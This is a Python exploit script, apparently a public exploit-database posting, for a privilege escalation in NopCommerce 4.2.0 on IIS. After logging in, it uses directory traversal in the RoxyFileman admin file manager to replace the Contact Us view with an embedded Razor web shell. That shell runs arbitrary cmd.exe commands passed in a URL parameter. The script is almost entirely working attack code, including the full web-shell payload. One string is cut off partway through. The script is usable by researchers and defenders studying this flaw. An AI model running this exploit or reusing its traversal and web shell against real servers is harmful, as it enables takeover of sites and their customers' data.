Share
# Vulnerability Title: NopCommerce 4.2.0 - Privilege Escalation  
# Author: Alessandro Magnosi (d3adc0de)  
# Date: 2019-07-07  
# Vendor Homepage: https://www.nopcommerce.com/  
# Software Link : https://www.nopcommerce.com/  
# Tested Version: 4.2.0  
# Vulnerability Type: Privilege Escalation  
# Tested on OS: Windows 10, CentOS, Docker  
# Exploit designed for: NopCommerce 4.2.0 on IIS  
  
import requests  
import argparse  
from bs4 import BeautifulSoup  
from requests.packages.urllib3.exceptions import InsecureRequestWarning  
import warnings  
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')  
  
def proxy(flag):  
return {"http" : "http://127.0.0.1:9090", "https" : "http://127.0.0.1:9090"} if flag else None  
  
def geturl(baseurl, type):  
if type == "login":  
return baseurl + "/login"  
elif type == "mv":  
return baseurl + "/Admin/RoxyFileman/ProcessRequest?a=RENAMEDIR&d=%2fimages%2fuploaded%2f..%2F..%2F..%2F..%2F..%2F..%2F..%2Finetpub%2fwwwroot%2fnopcommerce%2fViews%2fCommon%2f&n=Common2"  
elif type == "mkdir":   
return baseurl + "/Admin/RoxyFileman/ProcessRequest?a=CREATEDIR&d=%2fimages%2fuploaded%2f..%2F..%2F..%2F..%2F..%2F..%2F..%2Finetpub%2fwwwroot%2fnopcommerce%2fViews%2f&n=Common"  
elif type == "put":   
return baseurl + "/Admin/RoxyFileman/ProcessRequest?a=UPLOAD"  
elif type == "contactus":   
return baseurl + "/contactus"  
else:  
return ""  
  
def login(email, password, url, proxy):  
res = requests.get(geturl(url, "login"), proxies=proxy, verify=False, allow_redirects=False)  
cookie = res.cookies.get_dict()  
soup = BeautifulSoup(res.text, features="html.parser")  
token = soup.find("input", {"name":"__RequestVerificationToken"})["value"]  
res = requests.post(geturl(url, "login"), cookies=cookie, data={"Email":email, "Password":password, "__RequestVerificationToken":token, "RememberMe":"false"}, proxies=proxy, verify=False, allow_redirects=False)  
cookies = res.cookies.get_dict()  
return { **cookies, **cookie }  
  
def shellupload(email, password, url, proxy):  
print("[+] Trying uploading shell from")   
cookies = login(email, password, url, proxy)  
# Rename Common Directory  
requests.get(geturl(url, "mv"), headers={"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0"}, proxies=proxy, cookies=cookies, verify=False, allow_redirects=False)  
# Create Common Directory  
requests.get(geturl(url, "mkdir"), headers={"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0"}, proxies=proxy, cookies=cookies, verify=False, allow_redirects=False)  
# Upload File into Common  
requests.post(geturl(url, "put"), headers={"Content-Type" : "multipart/form-data; boundary=---------------------------3125261928760" ,"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0"}, data="-----------------------------3125261928760\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nupload\r\n-----------------------------3125261928760\r\nContent-Disposition: form-data; name=\"method\"\r\n\r\najax\r\n-----------------------------3125261928760\r\nContent-Disposition: form-data; name=\"d\"\r\n\r\n/images/uploaded/../../../../../../../../../../inetpub/wwwroot/nopcommerce/Views/Common/\r\n-----------------------------3125261928760\r\nContent-Disposition: form-data; name=\"files[]\"; filename=\"ContactUs.cshtml\"\r\nContent-Type: image/png\r\n\r\n@using System\r\n@using System.Diagnostics\r\n\r\n@{ \r\n ViewData[\"Title\"] = \"MVC Sh3ll Windows\";\r\n var result = \"\";\r\n var cmd = Context.Request.Query[\"cmd\"];\r\n if (!String.IsNullOrEmpty(cmd)){\r\n result = Bash(cmd);\r\n }\r\n\r\n if (String.IsNullOrEmpty(result)){\r\n result = \"Invalid command or something didn't work\";\r\n }\r\n\r\n}\r\n\r\n@functions{\r\n public static string Bash (string cmd)\r\n {\r\n var result = \"\";\r\n var escapedArgs = cmd.Replace(\"\\\"\", \"\\\\\\\"\");\r\n var process = new Process()\r\n {\r\n StartInfo = new ProcessStartInfo\r\n {\r\n FileName = \"cmd.exe\",\r\n Arguments = $\"/C \\\"{escapedArgs}\\\"\",\r\n RedirectStandardOutput = true,\r\n UseShellExecute = false,\r\n CreateNoWindow = true,\r\n }\r\n };\r\n\r\n process.Start();\r\n result = process.StandardOutput.ReadToEnd();\r\n process.WaitForExit();\r\n\r\n return result;\r\n }\r\n}\r\n\r\n\r\n\r\n<script\r\n src=\"https://code.jquery.com/jquery-3.2.1.min.js\"\r\n integrity=\"sha256-hwg4gsxgFZhOsEEamdOYGBf13FyQuiTwlAQgxVSNgt4=\"\r\n crossorigin=\"anonymous\"></script>\r\n<script>\r\n$(function() {\r\n var cmdResult = $(\"#cmdResult\");\r\n\r\n\tconsole.log(cmdResult);\r\n\r\n\tif (cmdResult.text() === \"Invalid command or something didn't work\"){\r\n\t console.log(\"should change text\");\r\n cmdResult.css(\"color\", \"red\");\r\n\t}\r\n\t\r\n\tvar term = $(\"#console\");\r\n $(\"#cmd\").focus();\r\n\tterm.scrollTop(term.prop(\"scrollHeight\"));\r\n\t\r\n\t$.urlParam = function(name){\r\n var results = new RegExp('[\\?&]' + name + '=([^&#]*)').exec(window.location.href);\r\n if (results==null){\r\n return null;\r\n }\r\n else{\r\n return decodeURI(results[1]) || 0;\r\n }\r\n }\r\n\r\n\t\r\n\tfunction executeCmd(){\r\n var cmd = encodeURIComponent($(\"#cmd\").val());\r\n\t var currentCmd = $.urlParam('cmd');\r\n\t console.log(\"should replace: \" + currentCmd + \" WITH: \" + cmd);\r\n\r\n\t var currentUrl = location.href;\r\n\r\n\t var paramDelimeter = \"\";\r\n\t if (currentUrl.indexOf(\"?\") < 0){\r\n\t paramDelimeter = \"?\";\r\n\t } else {\r\n\t paramDelimeter = \"&\";\r\n\t }\r\n \r\n\t if (currentUrl.indexOf(\"cmd=\") < 0){\r\n currentUrl = location.href + paramDelimeter + \"cmd=\";\r\n\t }\r\n\t\r\n var newUrl = currentUrl.replace(/cmd=.*/, \"cmd=\"+cmd);\r\n window.location.href = newUrl;\r\n\r\n\t //console.log(newUrl);\r\n\t}\r\n\t\r\n $(\"#submitCommand\").click(function(){\r\n\t executeCmd();\r\n\t})\r\n\r\n\t$(\"#cmd\").keypress(function (e) {\r\n\t if (e.which == 13) {\r\n\t executeCmd();\r\n\t return false;\r\n\t }\r\n\t});\r\n\r\n\t$(\"#cmd\").on(\"change paste keyup\", function(theVal){\r\n\t var cmd = $(\"#cmd\").val();\r\n\t $(\"#cmdInput\").text(cmd);\r\n\t});\r\n});\r\n\r\n</script>\r\n\r\n\r\n<h3>@ViewData[\"Title\"].</h3>\r\n<h4>@ViewData[\"Message\"]</h4>\r\n<h4>Output for:> <span style=\"font-fami  
# Test if it is working  
res = requests.get(geturl(url, "contactus"), headers={"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0"}, proxies=proxy, cookies=cookies, verify=False, allow_redirects=False)  
soup = BeautifulSoup(res.text, features="html.parser")  
test = soup.find("span", {"id" : "cmdResult"})  
if test is None:  
print("[-] Maybe the target is not vulnerable, or you need to restart the appliance")  
else:  
print("[+] Shell uploaded under contact us page")  
  
def main():  
parser = argparse.ArgumentParser(description='Upload a shell in NopCommerce')  
parser.add_argument(  
'-e', '--email', required=True, type=str, help='Username')  
parser.add_argument(  
'-p', '--password', required=True, type=str, help='Password')  
parser.add_argument(  
'-u', '--url', required=True, type=str, help='Base Url of NopCommerce')  
parser.add_argument(  
'-x', '--proxy', required=False, action="store_true", help='Proxy (for debugging)')  
  
args = parser.parse_args()  
  
shellupload(args.email, args.password, args.url, proxy(args.proxy))  
  
if __name__ == '__main__':  
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)  
main()